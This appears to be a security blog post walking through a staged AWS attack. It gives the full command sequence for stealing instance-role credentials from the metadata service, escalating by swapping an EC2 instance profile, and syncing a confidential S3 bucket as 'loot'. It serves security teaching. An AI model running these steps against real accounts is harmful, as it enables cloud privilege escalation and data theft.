Cloud Security: IAM Exploits on AWS — Part I
--
Happy New Year everyone!
I am back with another interesting Cloud hacking scenario. In this post, I will be touching upon how misconfigured IAM policies can be a recipe to failure!
Scenario:
One fine day, you found an EC2 instance hosting a web application that uses pickle module to serialize and deserialize cookies (oh yeah!) You know what happens next, so let me not bore you with the intricacies of the attack.
Note: If you want to know more about the pickle deserialization attacks, I will write a post on it and delve deeper into it. But that’s the story for another day :)
Anyways, back to the story… You broke into that EC2 instance and now our journey begins!
Our objective as an attacker would be to retrieve the confidential content from an S3 bucket! Sounds FUN, let’s get into it:
Attack Path:
Let’s start with a little bit of recon!
Recon:
Let’s see if we can list any S3 buckets:
Command: aws s3 ls
Hmm, somebody did their job right! We don’t have permissions to list the buckets (sigh…)
Well, let’s check out some more info:
EC2 instances contain a metadata service (which let’s you retrieve information about your compute infrastructure, without having to embed the credentials in the files — and you can access it using the IP address 169.254.169.254):
Command: curl 169.254.169.254/latest/meta-data/; echo
Let’s check the security credentials of the role attached to this instance:
Command: curl 169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance; echo
It shows us the keys associated with the IAM role attached to this instance.
To check the role attached to the instance, you can use the following command:
Command: aws sts get-caller-identity
The above command is the equivalent of the whoami command found in most Unix-like Operating Systems.
maintenance-role is attached to this compromised instance!
Let’s check the policies attached to this role:
Command: aws iam list-attached-role-policies — role-name maintenance-role
EC2MaintenanceDemo policy is attached to the maintenance-role
Let’s retrieve more information about the attached policy:
Command: aws iam get-policy — policy-arn “arn:aws:iam::AWS_ACCT_NUMBER:policy/EC2MaintenanceDemo”
Note: I have redacted my account number from the screenshots and commands.
Quick Primer: AWS account IDs uniquely identify every AWS account.
This information MUST be kept confidential as account numbers can be misused by attackers to compromise your account when combined with some other misconfigurations (which I will be covering in my other set of posts! Stay tuned!)
Okay, so the default policy version for the EC2MaintenanceDemo policy is v6 (version 6).
Let’s retrieve the policy document for EC2MaintenanceDemo (version v6):
Command: aws iam get-policy-version — version-id v6 — policy-arn “arn:aws:iam::AWS_ACCT_NUMBER:policy/EC2MaintenanceDemo”
Notice the policy document. The policy allows anyone having this role to have full control over IAM, STS and EC2 services!
You might ask isn’t this policy too fictitious? Why on earth would someone create such a policy?!
I knew that was coming! Well, I would definitely love to cover on why this and other seemingly common misconfigurations end up occurring in the first place!
Now back to the scenario xD
Some of you might argue that from here I can go ahead and create a backdoored admin account. I totally agree with you all (and I will show that probably in some other post), but let’s wait and see what else do we have here. You might learn a thing or 2…
Let’s see what all instance profiles are attached to this EC2 instance:
Command: aws iam list-instance-profiles
There is an instance profile named S3FullRead which definitely catches my attention! Seems like, if we switch to this instance profile, we can go ahead and get full read access to the S3 buckets (and hence, we can list buckets and read their contents!)
Fantastic! So, our action plan would be to attach this instance profile to this EC2 instance and retrieve the contents of a secret bucket!
But before we go ahead, we would be needing the region in which this EC2 instance is located. Worry not, Instance Metadata Service has your back!
Run the following command to get the region information:
Command: curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone ; echo
The instance is running in us-west-2 region.
Let’s grab the instance profile association ID for the current instance profile:
Command: aws ec2 describe-iam-instance-profile-associations — region us-west-2
Now we have the instance profile ID, let’s replace the current instance profile with the S3FullRead instance profile:
Command: aws ec2 replace-iam-instance-profile-association — iam-instance-profile Name=S3FullRead — association-id iip-assoc-07c64e2a057775a43 — region us-west-2
Awesome! The instance profile got updated. Why? Because we had full access to EC2 service (remember “ec2”: “*” in the policy document attached to the instance profile) and thus, we were able to perform this operation!
Let’s confirm this as well by running the following command (AWS equivalent of whoami):
Command: aws sts get-caller-identity
Let’s see if we can list the S3 buckets now:
Command: aws s3 ls
And it worked! We can see there is a bucket named securebank-documents which looks very interesting!
Let’s sync the data from it to the compromised EC2 instance:
Command: aws s3 sync s3://securebank-documents loot
From here, you can transfer this data to the S3 bucket that you own or download these files on your local machine… Super cool right!
I hope you guys enjoyed this scenario! In case you like this, please share it with your friends and colleagues and check out the other stories that I have written :)
Hope to entertain you guys with another interesting infosec story soon! Until then, stay curious, keep learning and happy hacking!